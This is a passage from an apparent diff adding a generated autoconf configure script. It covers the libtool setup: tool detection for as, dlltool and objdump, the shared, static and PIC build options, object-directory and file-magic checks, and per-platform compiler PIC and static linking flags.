"dlfcn.h" "ac_cv_header_dlfcn_h" "$ac_includes_default +" +if test "x$ac_cv_header_dlfcn_h" = xyes +then : + printf "%s\n" "#define HAVE_DLFCN_H 1" >>confdefs.h + +fi + + + + + +# Set options +enable_win32_dll=yes + +case $host in +*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-cegcc*) + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}as", so it can be a program name with args. +set dummy ${ac_tool_prefix}as; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_AS+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$AS"; then + ac_cv_prog_AS="$AS" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_AS="${ac_tool_prefix}as" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +AS=$ac_cv_prog_AS +if test -n "$AS"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $AS" >&5 +printf "%s\n" "$AS" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_AS"; then + ac_ct_AS=$AS + # Extract the first word of "as", so it can be a program name with args. +set dummy as; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_AS+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_AS"; then + ac_cv_prog_ac_ct_AS="$ac_ct_AS" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_AS="as" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_AS=$ac_cv_prog_ac_ct_AS +if test -n "$ac_ct_AS"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AS" >&5 +printf "%s\n" "$ac_ct_AS" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_AS" = x; then + AS="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + AS=$ac_ct_AS + fi +else + AS="$ac_cv_prog_AS" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args. +set dummy ${ac_tool_prefix}dlltool; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_DLLTOOL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$DLLTOOL"; then + ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +DLLTOOL=$ac_cv_prog_DLLTOOL +if test -n "$DLLTOOL"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5 +printf "%s\n" "$DLLTOOL" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_DLLTOOL"; then + ac_ct_DLLTOOL=$DLLTOOL + # Extract the first word of "dlltool", so it can be a program name with args. +set dummy dlltool; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_DLLTOOL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_DLLTOOL"; then + ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_DLLTOOL="dlltool" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL +if test -n "$ac_ct_DLLTOOL"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5 +printf "%s\n" "$ac_ct_DLLTOOL" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_DLLTOOL" = x; then + DLLTOOL="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + DLLTOOL=$ac_ct_DLLTOOL + fi +else + DLLTOOL="$ac_cv_prog_DLLTOOL" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}objdump", so it can be a program name with args. +set dummy ${ac_tool_prefix}objdump; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_OBJDUMP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$OBJDUMP"; then + ac_cv_prog_OBJDUMP="$OBJDUMP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_OBJDUMP="${ac_tool_prefix}objdump" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +OBJDUMP=$ac_cv_prog_OBJDUMP +if test -n "$OBJDUMP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $OBJDUMP" >&5 +printf "%s\n" "$OBJDUMP" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_OBJDUMP"; then + ac_ct_OBJDUMP=$OBJDUMP + # Extract the first word of "objdump", so it can be a program name with args. +set dummy objdump; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_OBJDUMP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_OBJDUMP"; then + ac_cv_prog_ac_ct_OBJDUMP="$ac_ct_OBJDUMP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_OBJDUMP="objdump" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_OBJDUMP=$ac_cv_prog_ac_ct_OBJDUMP +if test -n "$ac_ct_OBJDUMP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OBJDUMP" >&5 +printf "%s\n" "$ac_ct_OBJDUMP" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_OBJDUMP" = x; then + OBJDUMP="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + OBJDUMP=$ac_ct_OBJDUMP + fi +else + OBJDUMP="$ac_cv_prog_OBJDUMP" +fi + + ;; +esac + +test -z "$AS" && AS=as + + + + + +test -z "$DLLTOOL" && DLLTOOL=dlltool + + + + + +test -z "$OBJDUMP" && OBJDUMP=objdump + + + + + + + + enable_dlopen=no + + + + # Check whether --enable-shared was given. +if test ${enable_shared+y} +then : + enableval=$enable_shared; p=${PACKAGE-default} + case $enableval in + yes) enable_shared=yes ;; + no) enable_shared=no ;; + *) + enable_shared=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR, + for pkg in $enableval; do + IFS=$lt_save_ifs + if test "X$pkg" = "X$p"; then + enable_shared=yes + fi + done + IFS=$lt_save_ifs + ;; + esac +else case e in #( + e) enable_shared=yes ;; +esac +fi + + + + + + + + + + # Check whether --enable-static was given. +if test ${enable_static+y} +then : + enableval=$enable_static; p=${PACKAGE-default} + case $enableval in + yes) enable_static=yes ;; + no) enable_static=no ;; + *) + enable_static=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR, + for pkg in $enableval; do + IFS=$lt_save_ifs + if test "X$pkg" = "X$p"; then + enable_static=yes + fi + done + IFS=$lt_save_ifs + ;; + esac +else case e in #( + e) enable_static=yes ;; +esac +fi + + + + + + + + + + +# Check whether --with-pic was given. +if test ${with_pic+y} +then : + withval=$with_pic; lt_p=${PACKAGE-default} + case $withval in + yes|no) pic_mode=$withval ;; + *) + pic_mode=default + # Look at the argument we got. We use all the common list separators. + lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR, + for lt_pkg in $withval; do + IFS=$lt_save_ifs + if test "X$lt_pkg" = "X$lt_p"; then + pic_mode=yes + fi + done + IFS=$lt_save_ifs + ;; + esac +else case e in #( + e) pic_mode=default ;; +esac +fi + + + + + + + + + # Check whether --enable-fast-install was given. +if test ${enable_fast_install+y} +then : + enableval=$enable_fast_install; p=${PACKAGE-default} + case $enableval in + yes) enable_fast_install=yes ;; + no) enable_fast_install=no ;; + *) + enable_fast_install=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR, + for pkg in $enableval; do + IFS=$lt_save_ifs + if test "X$pkg" = "X$p"; then + enable_fast_install=yes + fi + done + IFS=$lt_save_ifs + ;; + esac +else case e in #( + e) enable_fast_install=yes ;; +esac +fi + + + + + + + + + shared_archive_member_spec= +case $host,$enable_shared in +power*-*-aix[5-9]*,yes) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking which variant of shared library versioning to provide" >&5 +printf %s "checking which variant of shared library versioning to provide... " >&6; } + +# Check whether --with-aix-soname was given. +if test ${with_aix_soname+y} +then : + withval=$with_aix_soname; case $withval in + aix|svr4|both) + ;; + *) + as_fn_error $? "Unknown argument to --with-aix-soname" "$LINENO" 5 + ;; + esac + lt_cv_with_aix_soname=$with_aix_soname +else case e in #( + e) if test ${lt_cv_with_aix_soname+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_with_aix_soname=aix ;; +esac +fi + + with_aix_soname=$lt_cv_with_aix_soname ;; +esac +fi + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $with_aix_soname" >&5 +printf "%s\n" "$with_aix_soname" >&6; } + if test aix != "$with_aix_soname"; then + # For the AIX way of multilib, we name the shared archive member + # based on the bitwidth used, traditionally 'shr.o' or 'shr_64.o', + # and 'shr.imp' or 'shr_64.imp', respectively, for the Import File. + # Even when GNU compilers ignore OBJECT_MODE but need '-maix64' flag, + # the AIX toolchain works better with OBJECT_MODE set (default 32). + if test 64 = "${OBJECT_MODE-32}"; then + shared_archive_member_spec=shr_64 + else + shared_archive_member_spec=shr + fi + fi + ;; +*) + with_aix_soname=aix + ;; +esac + + + + + + + + + + +# This can be used to rebuild libtool when needed +LIBTOOL_DEPS=$ltmain + +# Always use our own libtool. +LIBTOOL='$(SHELL) $(top_builddir)/libtool' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +test -z "$LN_S" && LN_S="ln -s" + + + + + + + + + + + + + + +if test -n "${ZSH_VERSION+set}"; then + setopt NO_GLOB_SUBST +fi + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for objdir" >&5 +printf %s "checking for objdir... " >&6; } +if test ${lt_cv_objdir+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) rm -f .libs 2>/dev/null +mkdir .libs 2>/dev/null +if test -d .libs; then + lt_cv_objdir=.libs +else + # MS-DOS does not allow filenames that begin with a dot. + lt_cv_objdir=_libs +fi +rmdir .libs 2>/dev/null ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_objdir" >&5 +printf "%s\n" "$lt_cv_objdir" >&6; } +objdir=$lt_cv_objdir + + + + + +printf "%s\n" "#define LT_OBJDIR \"$lt_cv_objdir/\"" >>confdefs.h + + + + +case $host_os in +aix3*) + # AIX sometimes has problems with the GCC collect2 program. For some + # reason, if we set the COLLECT_NAMES environment variable, the problems + # vanish in a puff of smoke. + if test set != "${COLLECT_NAMES+set}"; then + COLLECT_NAMES= + export COLLECT_NAMES + fi + ;; +esac + +# Global variables: +ofile=libtool +can_build_shared=yes + +# All known linkers require a '.a' archive for static linking (except MSVC and +# ICC, which need '.lib'). +libext=a + +with_gnu_ld=$lt_cv_prog_gnu_ld + +old_CC=$CC +old_CFLAGS=$CFLAGS + +# Set sane defaults for various variables +test -z "$CC" && CC=cc +test -z "$LTCC" && LTCC=$CC +test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS +test -z "$LD" && LD=ld +test -z "$ac_objext" && ac_objext=o + +func_cc_basename $compiler +cc_basename=$func_cc_basename_result + + +# Only perform the check for file, if the check method requires it +test -z "$MAGIC_CMD" && MAGIC_CMD=file +case $deplibs_check_method in +file_magic*) + if test "$file_magic_cmd" = '$MAGIC_CMD'; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for ${ac_tool_prefix}file" >&5 +printf %s "checking for ${ac_tool_prefix}file... " >&6; } +if test ${lt_cv_path_MAGIC_CMD+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) case $MAGIC_CMD in +[\\/*] | ?:[\\/]*) + lt_cv_path_MAGIC_CMD=$MAGIC_CMD # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD=$MAGIC_CMD + lt_save_ifs=$IFS; IFS=$PATH_SEPARATOR + ac_dummy="/usr/bin$PATH_SEPARATOR$PATH" + for ac_dir in $ac_dummy; do + IFS=$lt_save_ifs + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/${ac_tool_prefix}file"; then + lt_cv_path_MAGIC_CMD=$ac_dir/"${ac_tool_prefix}file" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"` + MAGIC_CMD=$lt_cv_path_MAGIC_CMD + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <<_LT_EOF 1>&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +_LT_EOF + fi ;; + esac + fi + break + fi + done + IFS=$lt_save_ifs + MAGIC_CMD=$lt_save_MAGIC_CMD + ;; +esac ;; +esac +fi + +MAGIC_CMD=$lt_cv_path_MAGIC_CMD +if test -n "$MAGIC_CMD"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5 +printf "%s\n" "$MAGIC_CMD" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + + + +if test -z "$lt_cv_path_MAGIC_CMD"; then + if test -n "$ac_tool_prefix"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for file" >&5 +printf %s "checking for file... " >&6; } +if test ${lt_cv_path_MAGIC_CMD+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) case $MAGIC_CMD in +[\\/*] | ?:[\\/]*) + lt_cv_path_MAGIC_CMD=$MAGIC_CMD # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD=$MAGIC_CMD + lt_save_ifs=$IFS; IFS=$PATH_SEPARATOR + ac_dummy="/usr/bin$PATH_SEPARATOR$PATH" + for ac_dir in $ac_dummy; do + IFS=$lt_save_ifs + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/file"; then + lt_cv_path_MAGIC_CMD=$ac_dir/"file" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"` + MAGIC_CMD=$lt_cv_path_MAGIC_CMD + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <<_LT_EOF 1>&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +_LT_EOF + fi ;; + esac + fi + break + fi + done + IFS=$lt_save_ifs + MAGIC_CMD=$lt_save_MAGIC_CMD + ;; +esac ;; +esac +fi + +MAGIC_CMD=$lt_cv_path_MAGIC_CMD +if test -n "$MAGIC_CMD"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5 +printf "%s\n" "$MAGIC_CMD" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + else + MAGIC_CMD=: + fi +fi + + fi + ;; +esac + +# Use C for the default configuration in the libtool script + +lt_save_CC=$CC +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +# Source file extension for C test sources. +ac_ext=c + +# Object file extension for compiled C test sources. +objext=o +objext=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(){return(0);}' + + + + + + + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# If no C compiler flags were specified, use CFLAGS. +LTCFLAGS=${LTCFLAGS-"$CFLAGS"} + +# Allow CC to be a program name with arguments. +compiler=$CC + +# Save the default compiler, since it gets overwritten when the other +# tags are being tested, and _LT_TAGVAR(compiler, []) is a NOP. +compiler_DEFAULT=$CC + +# save warnings/boilerplate of simple test code +ac_outfile=conftest.$ac_objext +echo "$lt_simple_compile_test_code" >conftest.$ac_ext +eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err +_lt_compiler_boilerplate=`cat conftest.err` +$RM conftest* + +ac_outfile=conftest.$ac_objext +echo "$lt_simple_link_test_code" >conftest.$ac_ext +eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err +_lt_linker_boilerplate=`cat conftest.err` +$RM -r conftest* + + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... +if test -n "$compiler"; then + +lt_prog_compiler_no_builtin_flag= + +if test yes = "$GCC"; then + case $cc_basename in + nvcc*) + lt_prog_compiler_no_builtin_flag=' -Xcompiler -fno-builtin' ;; + *) + lt_prog_compiler_no_builtin_flag=' -fno-builtin' ;; + esac + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5 +printf %s "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; } +if test ${lt_cv_prog_compiler_rtti_exceptions+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_prog_compiler_rtti_exceptions=no + ac_outfile=conftest.$ac_objext + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="-fno-rtti -fno-exceptions" ## exclude from sc_useless_quotes_in_assignment + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:$LINENO: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings other than the usual output. + $ECHO "$_lt_compiler_boilerplate" | $SED '/^$/d' >conftest.exp + $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 + if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then + lt_cv_prog_compiler_rtti_exceptions=yes + fi + fi + $RM conftest* + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5 +printf "%s\n" "$lt_cv_prog_compiler_rtti_exceptions" >&6; } + +if test yes = "$lt_cv_prog_compiler_rtti_exceptions"; then + lt_prog_compiler_no_builtin_flag="$lt_prog_compiler_no_builtin_flag -fno-rtti -fno-exceptions" +else + : +fi + +fi + + + + + + + lt_prog_compiler_wl= +lt_prog_compiler_pic= +lt_prog_compiler_static= + + + if test yes = "$GCC"; then + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_static='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test ia64 = "$host_cpu"; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static='-Bstatic' + fi + lt_prog_compiler_pic='-fPIC' + ;; + + amigaos*) + case $host_cpu in + powerpc) + # see comment about AmigaOS4 .so support + lt_prog_compiler_pic='-fPIC' + ;; + m68k) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the '-m68020' flag to GCC prevents building anything better, + # like '-m68040'. + lt_prog_compiler_pic='-m68020 -resident32 -malways-restore-a4' + ;; + esac + ;; + + beos* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | cygwin* | pw32* | os2* | cegcc*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + # Although the cygwin gcc ignores -fPIC, still need this for old-style + # (--disable-auto-import) libraries + lt_prog_compiler_pic='-DDLL_EXPORT' + case $host_os in + os2*) + lt_prog_compiler_static='$wl-static' + ;; + esac + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic='-fno-common' + ;; + + haiku*) + # PIC is the default for Haiku. + # The "-static" flag exists, but is broken. + lt_prog_compiler_static= + ;; + + hpux*) + # PIC is the default for 64-bit PA HP-UX, but not for 32-bit + # PA HP-UX. On IA64 HP-UX, PIC is the default but the pic flag + # sets the default TLS model and affects inlining. + case $host_cpu in + hppa*64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic='-fPIC' + ;; + esac + ;; + + interix[3-9]*) + # Interix 3.x gcc -fpic/-fPIC options generate broken code. + # Instead, we relocate shared libraries at runtime. + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + lt_prog_compiler_can_build_shared=no + enable_shared=no + ;; + + *nto* | *qnx*) + # QNX uses GNU C++, but need to define -shared option too, otherwise + # it will coredump. + lt_prog_compiler_pic='-fPIC -shared' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic=-Kconform_pic + fi + ;; + + *) + lt_prog_compiler_pic='-fPIC' + ;; + esac + + case $cc_basename in + nvcc*) # Cuda Compiler Driver 2.2 + lt_prog_compiler_wl='-Xlinker ' + if test -n "$lt_prog_compiler_pic"; then + lt_prog_compiler_pic="-Xcompiler $lt_prog_compiler_pic" + fi + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + lt_prog_compiler_wl='-Wl,' + if test ia64 = "$host_cpu"; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static='-Bstatic' + else + lt_prog_compiler_static='-bnso -bI:/lib/syscalls.exp' + fi + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic='-fno-common' + case $cc_basename in + nagfor*) + # NAG Fortran compiler + lt_prog_compiler_wl='-Wl,-Wl,,' + lt_prog_compiler_pic='-PIC' + lt_prog_compiler_static='-Bstatic' + ;; + esac + ;; + + mingw* | cygwin* | pw32* | os2* | cegcc*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic='-DDLL_EXPORT' + case $host_os in + os2*) + lt_prog_compiler_static='$wl-static' + ;; + esac + ;; + + hpux9* | hpux10* | hpux11*) + lt_prog_compiler_wl='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case $host_cpu in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + lt_prog_compiler_static='$wl-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + lt_prog_compiler_wl='-Wl,' + # PIC (with -KPIC) is the default. + lt_prog_compiler_static='-non_shared' + ;; + + linux* | k*bsd*-gnu | kopensolaris*-gnu | gnu*) + case $cc_basename in + # old Intel for x86_64, which still supported -KPIC. + ecc*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-static' + ;; + # icc used to be incompatible with GCC. + # ICC 10 doesn't accept -KPIC any more. + icc* | ifort*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-fPIC' + lt_prog_compiler_static='-static' + ;; + # Lahey Fortran 8.1. + lf95*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='--shared' + lt_prog_compiler_static='--static' + ;; + nagfor*) + # NAG Fortran compiler + lt_prog_compiler_wl='-Wl,-Wl,,' + lt_prog_compiler_pic='-PIC' + lt_prog_compiler_static='-Bstatic' + ;; + tcc*) + # Fabrice Bellard et al's Tiny C Compiler + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-fPIC' + lt_prog_compiler_static='-static' + ;; + pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*) + # Portland Group compilers (*not* the Pentium gcc compiler, + # which looks to be a dead project) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-fpic' + 